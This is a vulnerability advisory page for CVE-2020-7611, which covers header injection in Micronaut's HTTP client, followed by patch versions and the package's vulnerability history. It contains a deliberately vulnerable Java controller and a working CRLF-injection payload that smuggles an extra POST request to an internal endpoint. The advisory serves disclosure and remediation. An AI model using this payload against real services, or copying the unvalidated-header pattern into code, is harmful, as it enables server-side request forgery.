Critical

Micronaut's HTTP client is vulnerable to HTTP Request Header Injection

  • Disclosed: 30.03.2020
  • Updated: 11.10.2026 12:22

Vulnerability

Micronaut's HTTP client is vulnerable to "HTTP Request Header Injection" due to not validating request headers passed to the client.

Example of vulnerable code:

java
@Controller("/hello")
public class HelloController {

    @Inject
    @Client("/")
    RxHttpClient client;

    @Get("/external-exploit")
    @Produces(MediaType.TEXT_PLAIN)
    public String externalExploit(@QueryValue("header-value") String headerValue) {
        return client.toBlocking().retrieve(
            HttpRequest.GET("/hello")
                .header("Test", headerValue)
        );
    }
}

In the above case a query value received from a user is passed as a header value to the client. Since the client doesn't validate the header value the request headers and body have the potential to be manipulated.

For example, a user that supplies the following payload, can force the client to make multiple attacker-controlled HTTP requests.

java
List<String> headerData = List.of(
    "Connection: Keep-Alive", // This keeps the connection open so another request can be stuffed in.
    "",
    "",
    "POST /hello/super-secret HTTP/1.1",
    "Host: 127.0.0.1",
    "Content-Length: 31",
    "",
    "{\"new\":\"json\",\"content\":\"here\"}",
    "",
    ""
);
String headerValue = "H\r\n" + String.join("\r\n", headerData);;
URI theURI =
    UriBuilder
        .of("/hello/external-exploit")
        .queryParam("header-value", headerValue) // Automatically URL encodes data
        .build();
HttpRequest<String> request = HttpRequest.GET(theURI);
String body = client.toBlocking().retrieve(request);

Note that using @HeaderValue instead of @QueryValue is not vulnerable since Micronaut's HTTP server does validate the headers passed to the server, so the exploit can only be triggered by using user data that is not an HTTP header (query values, form data etc.).

Impact

The attacker is able to control the entirety of the HTTP body for their custom requests. As such, this vulnerability enables attackers to perform a variant of Server Side Request Forgery.

Patches

The problem has been patched in the micronaut-http-client versions 1.2.11 and 1.3.2 and above.

Workarounds

Do not pass user data directly received from HTTP request parameters as headers in the HTTP client.

References

Fix commits

For more information

If you have any questions or comments about this advisory:

Credit

Originally reported by @JLLeitschuh

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) io.micronaut:micronaut-http-client < 1.2.11, >= 1.3.0, < 1.3.2 1.2.11, 1.3.2

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-444
Platform
Java / Kotlin (Maven)
Package
io.micronaut:micronaut-http-client
Disclosed
30.03.2020
Updated
11.10.2026 12:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-694p-xrhg-x3wm - CC BY 4.0

Vulnerability history: io.micronaut:micronaut-http-client

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
3
First → latest
03.2020 07.2026
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 1
  • Medium 1

Disclosures per year

  1. 2020: 1
  2. 2021: 0
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 2
  1. Medium · 6.8 ghsa-q6gh-6v2r-hjv3 >= 1.2.8, < 3.10.6, >= 4.0.0-M1, < 4.10.24, >= 5.0.0-M1, < 5.0.1 3.10.6, 4.10.24, 5.0.1
  2. High · 7.5 ghsa-387m-935m-c4vw < 3.10.7, >= 4.0.0-M1, < 4.10.24, >= 5.0.0-M1, < 5.0.1 3.10.7, 4.10.24, 5.0.1
  3. Micronaut's HTTP client is vulnerable to HTTP Request Header Injection this entry
    Critical · 9.8 CVE-2020-7611 < 1.2.11, >= 1.3.0, < 1.3.2 1.2.11, 1.3.2

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.